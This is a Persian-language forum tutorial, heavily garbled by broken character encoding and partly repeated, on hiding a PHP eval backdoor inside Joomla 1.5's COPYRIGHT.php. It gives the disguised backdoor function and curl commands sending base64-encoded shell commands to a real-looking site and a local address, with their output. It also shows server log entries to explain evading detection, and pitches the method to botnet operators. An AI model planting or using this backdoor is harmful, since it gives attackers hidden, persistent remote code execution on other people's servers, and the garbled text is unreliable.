کد های مخرب هر چند Ú©ÙˆÚ†Ú© میتوانند بسیار خطرناک تر از آنچه باشند Ú©Ù‡ ما تصور میکنیم ! ما هر روز در انجام وظای٠روزانه با انها خواسته یا ناخواسته روبرو میشویم , بسیاری از انها مبتنی بر وب هستند Ú©Ù‡ بر اندازه Ùˆ تاثیر تخریب Ù…ØªÙØ§ÙˆØª عمل میکنند شناسایی برخی از آنها بسیار آسان بوده Ùˆ به Ø±Ø§ØØªÛŒ رد گیری میشوند اما امروز میخواهیم بر تکنیکی تمرکز کنیم Ú©Ù‡ به Ø±Ø§ØØªÛŒ قابل رد گیری نباشد تا اجازه نگاه داشتن دسترسی خود به مدت طولانی از سرور های خاص خودمون داشته باشیم.
در این Ø¨ØØ« وارد Ø¨ØØ« بکدور یا همون در پشتی خواهیم شد در ابتدا باید بدونیم Ú©Ù‡ بکدور یا در پشتی Ú†Ù‡ کاری انجام میده ...
بکدور ها ابزار یا برنامه هایی هستند Ú©Ù‡ Ù†Ùوذگر ها برای ØÙظ دسترسی بر روی سیستم های کلاینت , سرور ها Ùˆ یا داخل سایت ها Ø§Ø³ØªÙØ§Ø¯Ù‡ میکنند.
ØØ§Ù„ا توجه شما رو به کد زیر جلب میکنم:
میتونیم از این کد Ú©Ù‡ ØªÙˆØ¶ÛŒØ Ø®ÙˆØ§Ù‡Ù… داد به Ú†Ù‡ شکله Ùˆ چیکار میکنه یک بکدور بسازیم.
اما ابتدا باید دنبال یکی از ÙØ§ÛŒÙ„ های خود پرتال باشیم تا کدمون رو توش جا بدیم
گام اول ÙØ±ÛŒØ¨
میتوتین در جوملا 1.5 از ÙØ§ÛŒÙ„ COPYRIGHT.php Ø§Ø³ØªÙØ§Ø¯Ù‡ کنیم برای رسیدن به اهداÙمون اما این ÙØ§ÛŒÙ„ چیست Ùˆ Ù…ØØªÙˆÛŒØ§ØªØ´ چیه؟!
.
چطوری میتونیم ازش Ø§Ø³ØªÙØ§Ø¯Ù‡ کنیم برمیگردیم به کد خودمون:
اگه شما یکphp کار باشید مطمئنا میتونید سورس رو بخونید و متوجه بشید
بله دقیقا این همون تابعی است که باهاش کار خواهیم کرد :
ارزیابی Ùˆ اجرای کد با ÙØ§Ù†Ú©Ø´Ù† Eval
خوب این کد دقیقا کد مخرب ماست Ú©Ù‡ به Ù†Ùوذگر اجازه اجرای کد رو از راه دور Ùˆ به آسانی میده
تو خط
سناریوی کامل برای تزریق کد ها اماده شده برای Ø§Ø³ØªÙØ§Ø¯Ù‡ میشه به این ترتیب عمل کرد
از ÙØ§Ù†Ú©Ø´Ù† system برای Ú¯Ø±ÙØªÙ† خط ÙØ±Ù…ان
Ùˆ همینطور از ÙØ§Ù†Ú©Ø´Ù† passthru در صورتی Ú©Ù‡ بسته نباشن.
با یک مثال کد خطرناک اونو نشون میدم:
خروجیش میشه
و اجرای دستورات از راه دور :
یا میتونید بدون کد کردن دستورتون اجراش کنید
ØØ§Ù„ا میرسیم به جایی Ú©Ù‡ مهم ترین نکته این Ø¨ØØ« توش Ù†Ù‡ÙØªÙ‡ شده
میریم سراغ مانیتورینگ
اگر با این روش عمل کنیم Ù…ØØªÙˆØ§ÛŒ لاگ های ایجاد شده روی سرور به این صورت خواهد بود :
شاید با خودتون بگین Ú©Ù‡ میتونیستیم با $_GET به Ø±Ø§ØØªÛŒ این کار رو انجام بدیم ولی با این ØªÙØ§ÙˆØª Ú©Ù‡ به Ø±Ø§ØØªÛŒ مورد شناسایی میشدین لاگ های بر روی سرور به این صورت دیده میشه
شخصه مانیتورکننده با اولین نگاه میتونه بÙمه Ú©Ù‡ یه خبر هایی در ØØ§Ù„ وقوعه .
میشه نتیجه Ú¯Ø±ÙØª Ú©Ù‡ یکم خلاقیت میتونه خیلی تاثیر به سزایی در همه جا به یک Ù†Ùوذگر بکنه.
ØØ§Ù„ا بهترین Ø§Ø³ØªÙØ§Ø¯Ù‡ از این مورد به نظرتون کجاست ØŸ!
یک باتنت نویس خوب همیشه به این Ùکر میکنه Ú©Ù‡ چطوری میتونه زامبی هاشو از دید ØµØ§ØØ¨ سرور Ùˆ سایت دور Ù†Ú¯Ù‡ داره ...
این روش میتونه کمک به سزایی در این زمینه بکنه.
موÙÙ‚ باشید
در این Ø¨ØØ« وارد Ø¨ØØ« بکدور یا همون در پشتی خواهیم شد در ابتدا باید بدونیم Ú©Ù‡ بکدور یا در پشتی Ú†Ù‡ کاری انجام میده ...
بکدور ها ابزار یا برنامه هایی هستند Ú©Ù‡ Ù†Ùوذگر ها برای ØÙظ دسترسی بر روی سیستم های کلاینت , سرور ها Ùˆ یا داخل سایت ها Ø§Ø³ØªÙØ§Ø¯Ù‡ میکنند.
ØØ§Ù„ا توجه شما رو به کد زیر جلب میکنم:
کد PHP:
<? php
Copyright_joomla();
function Copyright_joomla(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('', $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
}
اما ابتدا باید دنبال یکی از ÙØ§ÛŒÙ„ های خود پرتال باشیم تا کدمون رو توش جا بدیم
گام اول ÙØ±ÛŒØ¨
میتوتین در جوملا 1.5 از ÙØ§ÛŒÙ„ COPYRIGHT.php Ø§Ø³ØªÙØ§Ø¯Ù‡ کنیم برای رسیدن به اهداÙمون اما این ÙØ§ÛŒÙ„ چیست Ùˆ Ù…ØØªÙˆÛŒØ§ØªØ´ چیه؟!
کد:
/** * @version $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $ * @package Joomla * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ defined('_JEXEC') or die('Restricted access'); Joomla! derives from copyrighted works licensed under the GNU General Public License. This version has been modified pursuant to the GNU General Public License as of September 15, 2005, and as distributed, it includes or is derivative of works licensed under the GNU General Public License or other free or open source software licenses. Please see the CREDITS.php for a non-exhaustive list of contributors and copyright holders. A full text version of the GNU GPL version 2 can be found in the LICENSE.php file. A full text version of the other licenses that Joomla! is derivative of or includes can be found in LICENSES.php
چطوری میتونیم ازش Ø§Ø³ØªÙØ§Ø¯Ù‡ کنیم برمیگردیم به کد خودمون:
کد PHP:
Copyright_joomla();
function Copyright_joomla(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('',$_REQUEST['gnu']);
eval ($gpl($_REQUEST['c_id']));
$gnu=false;
}
بله دقیقا این همون تابعی است که باهاش کار خواهیم کرد :
کد PHP:
eval ($gpl($_REQUEST['c_id']));
خوب این کد دقیقا کد مخرب ماست Ú©Ù‡ به Ù†Ùوذگر اجازه اجرای کد رو از راه دور Ùˆ به آسانی میده
تو خط
کد PHP:
eval ($gpl($_REQUEST['c_id']));
کد PHP:
eval (system(CMD));
کد PHP:
eval (passthru(CMD));
با یک مثال کد خطرناک اونو نشون میدم:
------------------------------------------------------
root@core:~$ echo "system('uname -a; id');"|base 64
------------------------------------------------------
root@core:~$ echo "system('uname -a; id');"|base 64
------------------------------------------------------
------------------------------------------------------
c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
------------------------------------------------------
c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
------------------------------------------------------
------------------------------------------------------
root@core:~$ curl -s -d "gnu[]=base64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKT sK" "http://ajaxtm.org/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 20
40 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
root@core:~$ curl -s -d "gnu[]=base64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKT sK" "http://ajaxtm.org/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 20

uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
------------------------------------------------------
rodrigo@core:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 20
40 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
rodrigo@core:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 20

uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
میریم سراغ مانیتورینگ
اگر با این روش عمل کنیم Ù…ØØªÙˆØ§ÛŒ لاگ های ایجاد شده روی سرور به این صورت خواهد بود :
ajaxtm.org - - [31/Jul/2013:00:00:21 -0700] "POST /COPYRIGHT.php HTTP/1.1" 200 378 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
ajaxtm.org - - [31/Jul/2013:00:00:08 -0700] "POST /COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTs K HTTP/1.1" 200 368 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
میشه نتیجه Ú¯Ø±ÙØª Ú©Ù‡ یکم خلاقیت میتونه خیلی تاثیر به سزایی در همه جا به یک Ù†Ùوذگر بکنه.
ØØ§Ù„ا بهترین Ø§Ø³ØªÙØ§Ø¯Ù‡ از این مورد به نظرتون کجاست ØŸ!
یک باتنت نویس خوب همیشه به این Ùکر میکنه Ú©Ù‡ چطوری میتونه زامبی هاشو از دید ØµØ§ØØ¨ سرور Ùˆ سایت دور Ù†Ú¯Ù‡ داره ...
این روش میتونه کمک به سزایی در این زمینه بکنه.
موÙÙ‚ باشید
Comment